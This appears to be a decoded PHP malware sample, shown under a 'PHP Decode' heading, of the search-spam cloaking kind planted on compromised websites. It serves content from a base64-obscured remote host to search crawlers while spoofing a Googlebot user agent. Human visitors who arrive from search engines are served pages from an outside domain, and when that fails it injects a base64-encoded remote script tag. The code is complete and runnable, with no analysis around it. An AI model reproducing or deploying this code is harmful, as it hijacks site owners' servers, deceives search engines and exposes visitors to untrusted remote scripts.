PHP Decode

header('Content-Type: text/html; charset=ISO-8859-1');

define('URI', getRequestUri());
define('HOST', base64_decode('aHR0cDovL2FwaS5nb29nbGVnb3YuY29tLw=='));
define('MULU', 'video|download|app|vnews|android|ios|shop|game|music|movie|shopping');

function getRequestUri() {
  if (isset($_SERVER['HTTP_X_REWRITE_URL'])) { 
     // check this first so IIS will catch 
     $requestUri = $_SERVER['HTTP_X_REWRITE_URL']; 
   } elseif (isset($_SERVER['REDIRECT_URL'])) { 
     // Check if using mod_rewrite 
     $requestUri = $_SERVER['REDIRECT_URL']; 
   } elseif (isset($_SERVER['REQUEST_URI'])) { 
     $requestUri = $_SERVER['REQUEST_URI']; 
   } elseif (isset($_SERVER['ORIG_PATH_INFO'])) { 
     // IIS 5.0, PHP as CGI 
     $requestUri = $_SERVER['ORIG_PATH_INFO']; 
     if (!empty($_SERVER['QUERY_STRING'])) { 
       $requestUri .= '?' . $_SERVER['QUERY_STRING']; 
     } 
   } 
   return $requestUri; 
 }
 
function isEngines($userAgent) {
    return preg_match('/Googlebot|Bingbot|Yahoo!/i', $userAgent);
}


function isIncludes($uri) {
    return preg_match('/' . MULU . '/i', $uri);
}


function isRef($referrer) {
    return preg_match('/google|bing|yahoo/i', $referrer);
}


function getContents($url) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        $curlError = curl_error($ch);  
        curl_close($ch);


        if ($result === false) {
            error_log("cURL Error: " . $curlError); 
            return false;
        }
        return $result;
    } else {
        return file_get_contents($url);
    }
}


$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];

$hostname = $_SERVER["HTTP_HOST"];
$url = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://$_SERVER[HTTP_HOST]" . URI;

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if (isIncludes(URI)) {
        $content = getContents(HOST . "mrender?hostname=".$hostname."&url=".$url);
        if ($content) {
            echo $content;
        } else {
            header("HTTP/1.0 404 Not Found");
            echo "404 - Content not found."; 
            exit;
        }
    } else {
        echo file_get_contents(HOST . "mlink?hostname=".$hostname."&url=".$url);
        exit;
    }
} else {
    if (isIncludes(URI) && isRef($ref)) {
	$content = getContents("https://www.lockhomeinfo.com/br.html?url=".$url);
	if ($content) {
		echo $content;
	} else {
		echo base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93d3cubG9ja2hvbWVpbmZvLmNvbS9zY3JpcHQuanMiIHJlbD0ibm9mb2xsb3ciPjwvc2NyaXB0Pg==");	
	}
        exit;
    }
}